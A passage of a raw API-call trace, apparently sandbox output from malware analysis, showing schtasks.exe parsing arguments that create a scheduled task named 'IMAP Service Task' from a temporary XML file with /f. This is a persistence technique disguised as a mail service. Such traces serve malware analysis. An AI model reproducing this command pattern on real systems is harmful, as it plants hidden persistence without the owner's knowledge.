_Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|create|") returned 8 [0180.735] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|tn|") returned 4 [0180.735] lstrlenW (lpString="|create|") returned 8 [0180.735] lstrlenW (lpString="|tn|") returned 4 [0180.735] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0180.735] SetLastError (dwErrCode=0x490) [0180.735] lstrlenW (lpString="delete") returned 6 [0180.735] lstrlenW (lpString="delete") returned 6 [0180.735] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.735] lstrlenW (lpString="tn") returned 2 [0180.735] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.735] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|delete|") returned 8 [0180.735] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|tn|") returned 4 [0180.735] lstrlenW (lpString="|delete|") returned 8 [0180.735] lstrlenW (lpString="|tn|") returned 4 [0180.735] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0180.735] SetLastError (dwErrCode=0x490) [0180.735] lstrlenW (lpString="query") returned 5 [0180.735] lstrlenW (lpString="query") returned 5 [0180.735] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.735] lstrlenW (lpString="tn") returned 2 [0180.735] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.735] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|query|") returned 7 [0180.736] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|tn|") returned 4 [0180.736] lstrlenW (lpString="|query|") returned 7 [0180.736] lstrlenW (lpString="|tn|") returned 4 [0180.736] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0180.736] SetLastError (dwErrCode=0x490) [0180.736] lstrlenW (lpString="change") returned 6 [0180.736] lstrlenW (lpString="change") returned 6 [0180.736] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.736] lstrlenW (lpString="tn") returned 2 [0180.736] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.736] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|change|") returned 8 [0180.736] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|tn|") returned 4 [0180.736] lstrlenW (lpString="|change|") returned 8 [0180.736] lstrlenW (lpString="|tn|") returned 4 [0180.736] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0180.736] SetLastError (dwErrCode=0x490) [0180.736] lstrlenW (lpString="run") returned 3 [0180.736] lstrlenW (lpString="run") returned 3 [0180.736] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.736] lstrlenW (lpString="tn") returned 2 [0180.736] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.736] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|run|") returned 5 [0180.736] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|tn|") returned 4 [0180.736] lstrlenW (lpString="|run|") returned 5 [0180.736] lstrlenW (lpString="|tn|") returned 4 [0180.736] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0180.736] SetLastError (dwErrCode=0x490) [0180.736] lstrlenW (lpString="end") returned 3 [0180.736] lstrlenW (lpString="end") returned 3 [0180.736] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.736] lstrlenW (lpString="tn") returned 2 [0180.736] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.736] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|end|") returned 5 [0180.736] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|tn|") returned 4 [0180.736] lstrlenW (lpString="|end|") returned 5 [0180.736] lstrlenW (lpString="|tn|") returned 4 [0180.736] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0180.736] SetLastError (dwErrCode=0x490) [0180.736] lstrlenW (lpString="showsid") returned 7 [0180.736] lstrlenW (lpString="showsid") returned 7 [0180.736] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.736] lstrlenW (lpString="tn") returned 2 [0180.736] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.736] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|showsid|") returned 9 [0180.736] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|tn|") returned 4 [0180.736] lstrlenW (lpString="|showsid|") returned 9 [0180.736] lstrlenW (lpString="|tn|") returned 4 [0180.736] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0180.736] SetLastError (dwErrCode=0x490) [0180.736] SetLastError (dwErrCode=0x490) [0180.736] SetLastError (dwErrCode=0x0) [0180.736] lstrlenW (lpString="/tn") returned 3 [0180.737] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0180.737] SetLastError (dwErrCode=0x490) [0180.737] SetLastError (dwErrCode=0x0) [0180.737] lstrlenW (lpString="/tn") returned 3 [0180.737] SetLastError (dwErrCode=0x0) [0180.737] SetLastError (dwErrCode=0x0) [0180.737] lstrlenW (lpString="IMAP Service Task") returned 17 [0180.737] lstrlenW (lpString="-/") returned 2 [0180.737] StrChrIW (lpStart="-/", wMatch=0x49) returned 0x0 [0180.737] SetLastError (dwErrCode=0x490) [0180.737] SetLastError (dwErrCode=0x490) [0180.737] SetLastError (dwErrCode=0x0) [0180.737] lstrlenW (lpString="IMAP Service Task") returned 17 [0180.737] StrChrIW (lpStart="IMAP Service Task", wMatch=0x3a) returned 0x0 [0180.737] SetLastError (dwErrCode=0x490) [0180.737] SetLastError (dwErrCode=0x0) [0180.737] lstrlenW (lpString="IMAP Service Task") returned 17 [0180.737] SetLastError (dwErrCode=0x0) [0180.737] SetLastError (dwErrCode=0x0) [0180.737] lstrlenW (lpString="/xml") returned 4 [0180.737] lstrlenW (lpString="-/") returned 2 [0180.737] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0180.737] lstrlenW (lpString="?") returned 1 [0180.737] lstrlenW (lpString="?") returned 1 [0180.737] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.737] lstrlenW (lpString="xml") returned 3 [0180.737] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.737] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|?|") returned 3 [0180.737] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|xml|") returned 5 [0180.737] lstrlenW (lpString="|?|") returned 3 [0180.737] lstrlenW (lpString="|xml|") returned 5 [0180.737] SetLastError (dwErrCode=0x490) [0180.737] lstrlenW (lpString="create") returned 6 [0180.737] lstrlenW (lpString="create") returned 6 [0180.737] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.737] lstrlenW (lpString="xml") returned 3 [0180.737] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.737] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|create|") returned 8 [0180.737] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|xml|") returned 5 [0180.737] lstrlenW (lpString="|create|") returned 8 [0180.737] lstrlenW (lpString="|xml|") returned 5 [0180.737] StrStrIW (lpFirst="|create|", lpSrch="|xml|") returned 0x0 [0180.737] SetLastError (dwErrCode=0x490) [0180.737] lstrlenW (lpString="delete") returned 6 [0180.737] lstrlenW (lpString="delete") returned 6 [0180.737] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.738] lstrlenW (lpString="xml") returned 3 [0180.738] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.738] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|delete|") returned 8 [0180.738] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|xml|") returned 5 [0180.738] lstrlenW (lpString="|delete|") returned 8 [0180.738] lstrlenW (lpString="|xml|") returned 5 [0180.738] StrStrIW (lpFirst="|delete|", lpSrch="|xml|") returned 0x0 [0180.738] SetLastError (dwErrCode=0x490) [0180.738] lstrlenW (lpString="query") returned 5 [0180.738] lstrlenW (lpString="query") returned 5 [0180.738] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.738] lstrlenW (lpString="xml") returned 3 [0180.738] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.738] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|query|") returned 7 [0180.738] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|xml|") returned 5 [0180.738] lstrlenW (lpString="|query|") returned 7 [0180.738] lstrlenW (lpString="|xml|") returned 5 [0180.738] StrStrIW (lpFirst="|query|", lpSrch="|xml|") returned 0x0 [0180.738] SetLastError (dwErrCode=0x490) [0180.738] lstrlenW (lpString="change") returned 6 [0180.738] lstrlenW (lpString="change") returned 6 [0180.738] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.738] lstrlenW (lpString="xml") returned 3 [0180.738] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.738] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|change|") returned 8 [0180.738] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|xml|") returned 5 [0180.738] lstrlenW (lpString="|change|") returned 8 [0180.738] lstrlenW (lpString="|xml|") returned 5 [0180.738] StrStrIW (lpFirst="|change|", lpSrch="|xml|") returned 0x0 [0180.738] SetLastError (dwErrCode=0x490) [0180.738] lstrlenW (lpString="run") returned 3 [0180.738] lstrlenW (lpString="run") returned 3 [0180.738] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.738] lstrlenW (lpString="xml") returned 3 [0180.738] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.738] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|run|") returned 5 [0180.738] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|xml|") returned 5 [0180.738] lstrlenW (lpString="|run|") returned 5 [0180.738] lstrlenW (lpString="|xml|") returned 5 [0180.738] StrStrIW (lpFirst="|run|", lpSrch="|xml|") returned 0x0 [0180.738] SetLastError (dwErrCode=0x490) [0180.738] lstrlenW (lpString="end") returned 3 [0180.738] lstrlenW (lpString="end") returned 3 [0180.738] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.738] lstrlenW (lpString="xml") returned 3 [0180.738] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.738] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|end|") returned 5 [0180.738] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|xml|") returned 5 [0180.738] lstrlenW (lpString="|end|") returned 5 [0180.738] lstrlenW (lpString="|xml|") returned 5 [0180.738] StrStrIW (lpFirst="|end|", lpSrch="|xml|") returned 0x0 [0180.738] SetLastError (dwErrCode=0x490) [0180.739] lstrlenW (lpString="showsid") returned 7 [0180.739] lstrlenW (lpString="showsid") returned 7 [0180.739] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.739] lstrlenW (lpString="xml") returned 3 [0180.739] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.739] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|showsid|") returned 9 [0180.739] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|xml|") returned 5 [0180.739] lstrlenW (lpString="|showsid|") returned 9 [0180.739] lstrlenW (lpString="|xml|") returned 5 [0180.739] StrStrIW (lpFirst="|showsid|", lpSrch="|xml|") returned 0x0 [0180.739] SetLastError (dwErrCode=0x490) [0180.739] SetLastError (dwErrCode=0x490) [0180.739] SetLastError (dwErrCode=0x0) [0180.739] lstrlenW (lpString="/xml") returned 4 [0180.739] StrChrIW (lpStart="/xml", wMatch=0x3a) returned 0x0 [0180.739] SetLastError (dwErrCode=0x490) [0180.739] SetLastError (dwErrCode=0x0) [0180.739] lstrlenW (lpString="/xml") returned 4 [0180.739] SetLastError (dwErrCode=0x0) [0180.739] SetLastError (dwErrCode=0x0) [0180.739] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp") returned 59 [0180.739] lstrlenW (lpString="-/") returned 2 [0180.739] StrChrIW (lpStart="-/", wMatch=0x43) returned 0x0 [0180.739] SetLastError (dwErrCode=0x490) [0180.739] SetLastError (dwErrCode=0x490) [0180.739] SetLastError (dwErrCode=0x0) [0180.739] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp") returned 59 [0180.739] StrChrIW (lpStart="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp", wMatch=0x3a) returned=":\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp" [0180.739] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp") returned 59 [0180.739] _memicmp (_Buf1=0x304bf0, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.739] _memicmp (_Buf1=0x304c20, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.739] SetLastError (dwErrCode=0x7a) [0180.739] SetLastError (dwErrCode=0x0) [0180.739] SetLastError (dwErrCode=0x0) [0180.739] lstrlenW (lpString="C") returned 1 [0180.739] SetLastError (dwErrCode=0x490) [0180.739] SetLastError (dwErrCode=0x0) [0180.739] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp") returned 59 [0180.739] SetLastError (dwErrCode=0x0) [0180.740] SetLastError (dwErrCode=0x0) [0180.740] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0180.740] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0180.741] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0180.741] VerifyVersionInfoW (in: lpVersionInformation=0x29c950, dwTypeMask=0x3, dwlConditionMask=0x1801b | out: lpVersionInformation=0x29c950) returned 1 [0180.741] SetLastError (dwErrCode=0x0) [0180.741] lstrlenW (lpString="create") returned 6 [0180.741] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0180.741] SetLastError (dwErrCode=0x490) [0180.741] SetLastError (dwErrCode=0x0) [0180.741] lstrlenW (lpString="create") returned 6 [0180.741] _memicmp (_Buf1=0x304aa0, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.741] SetLastError (dwErrCode=0x0) [0180.741] _memicmp (_Buf1=0x304b18, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.741] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x305958, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe")) returned 0x20 [0180.741] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0180.741] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x306830 | out: lpData=0x306830) returned 1 [0180.741] VerQueryValueW (in: pBlock=0x306830, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x29ca58, puLen=0x29ca5c | out: lplpBuffer=0x29ca58*=0x306bcc, puLen=0x29ca5c) returned 1 [0180.741] _memicmp (_Buf1=0x304b18, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.741] _vsnwprintf (in: _Buffer=0x305958, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x29ca40 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0180.741] VerQueryValueW (in: pBlock=0x306830, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x29ca68, puLen=0x29ca64 | out: lplpBuffer=0x29ca68*=0x3069f8, puLen=0x29ca64) returned 1 [0180.741] lstrlenW (lpString="schtasks.exe") returned 12 [0180.741] lstrlenW (lpString="schtasks.exe") returned 12 [0180.741] lstrlenW (lpString=".EXE") returned 4 [0180.741] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0180.741] lstrlenW (lpString="schtasks.exe") returned 12 [0180.741] lstrlenW (lpString=".EXE") returned 4 [0180.741] lstrlenW (lpString="schtasks") returned 8 [0180.741] lstrlenW (lpString="/create") returned 7 [0180.741] _memicmp (_Buf1=0x304b18, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.741] _vsnwprintf (in: _Buffer=0x305958, _BufferCount=0x19, _Format="%s %s", _ArgList=0x29ca40 | out: _Buffer="schtasks /create") returned 16 [0180.741] _memicmp (_Buf1=0x304b78, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.741] _memicmp (_Buf1=0x304b90, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.742] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x3065f0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0180.742] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0180.742] _vsnwprintf (in: _Buffer=0x306548, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x29ca44 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0180.742] SetLastError (dwErrCode=0x0) [0180.742] GetThreadLocale () returned 0x409 [0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.742] lstrlenW (lpString="create") returned 6 [0180.742] GetThreadLocale () returned 0x409 [0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.742] lstrlenW (lpString="?") returned 1 [0180.742] GetThreadLocale () returned 0x409 [0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.742] lstrlenW (lpString="s") returned 1 [0180.742] GetThreadLocale () returned 0x409 [0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.742] lstrlenW (lpString="u") returned 1 [0180.742] GetThreadLocale () returned 0x409 [0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.742] lstrlenW (lpString="p") returned 1 [0180.742] GetThreadLocale () returned 0x409 [0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.742] lstrlenW (lpString="ru") returned 2 [0180.742] GetThreadLocale () returned 0x409 [0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.742] lstrlenW (lpString="rp") returned 2 [0180.742] GetThreadLocale () returned 0x409 [0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.742] lstrlenW (lpString="sc") returned 2 [0180.742] GetThreadLocale () returned 0x409 [0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.742] lstrlenW (lpString="mo") returned 2 [0180.742] GetThreadLocale () returned 0x409 [0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.742] lstrlenW (lpString="d") returned 1 [0180.742] GetThreadLocale () returned 0x409 [0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.742] lstrlenW (lpString="m") returned 1 [0180.742] GetThreadLocale () returned 0x409 [0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.742] lstrlenW (lpString="i") returned 1 [0180.742] GetThreadLocale () returned 0x409 [0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.742] lstrlenW (lpString="tn") returned 2 [0180.742] GetThreadLocale () returned 0x409 [0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.742] lstrlenW (lpString="tr") returned 2 [0180.742] GetThreadLocale () returned 0x409 [0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.742] lstrlenW (lpString="st") returned 2 [0180.742] GetThreadLocale () returned 0x409 [0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.743] lstrlenW (lpString="sd") returned 2 [0180.743] GetThreadLocale () returned 0x409 [0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.743] lstrlenW (lpString="ed") returned 2 [0180.743] GetThreadLocale () returned 0x409 [0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.743] lstrlenW (lpString="it") returned 2 [0180.743] GetThreadLocale () returned 0x409 [0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.743] lstrlenW (lpString="et") returned 2 [0180.743] GetThreadLocale () returned 0x409 [0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.743] lstrlenW (lpString="k") returned 1 [0180.743] GetThreadLocale () returned 0x409 [0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.743] lstrlenW (lpString="du") returned 2 [0180.743] GetThreadLocale () returned 0x409 [0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.743] lstrlenW (lpString="ri") returned 2 [0180.743] GetThreadLocale () returned 0x409 [0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.743] lstrlenW (lpString="z") returned 1 [0180.743] GetThreadLocale () returned 0x409 [0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.743] lstrlenW (lpString="f") returned 1 [0180.743] GetThreadLocale () returned 0x409 [0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.743] lstrlenW (lpString="v1") returned 2 [0180.743] GetThreadLocale () returned 0x409 [0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.743] lstrlenW (lpString="xml") returned 3 [0180.743] GetThreadLocale () returned 0x409 [0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.743] lstrlenW (lpString="ec") returned 2 [0180.743] GetThreadLocale () returned 0x409 [0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.743] lstrlenW (lpString="rl") returned 2 [0180.743] GetThreadLocale () returned 0x409 [0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.743] lstrlenW (lpString="delay") returned 5 [0180.743] GetThreadLocale () returned 0x409 [0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.743] lstrlenW (lpString="np") returned 2 [0180.743] SetLastError (dwErrCode=0x0) [0180.743] SetLastError (dwErrCode=0x0) [0180.743] lstrlenW (lpString="/create") returned 7 [0180.743] lstrlenW (lpString="-/") returned 2 [0180.743] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0180.743] lstrlenW (lpString="create") returned 6 [0180.743] lstrlenW (lpString="create") returned 6 [0180.743] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.743] lstrlenW (lpString="create") returned 6 [0180.743] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.744] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|create|") returned 8 [0180.744] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|create|") returned 8 [0180.744] lstrlenW (lpString="|create|") returned 8 [0180.744] lstrlenW (lpString="|create|") returned 8 [0180.744] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0180.744] SetLastError (dwErrCode=0x0) [0180.744] SetLastError (dwErrCode=0x0) [0180.744] SetLastError (dwErrCode=0x0) [0180.744] lstrlenW (lpString="/f") returned 2 [0180.744] lstrlenW (lpString="-/") returned 2 [0180.744] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0180.744] lstrlenW (lpString="create") returned 6 [0180.744] lstrlenW (lpString="create") returned 6 [0180.744] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.744] lstrlenW (lpString="f") returned 1 [0180.744] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.744] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x9, 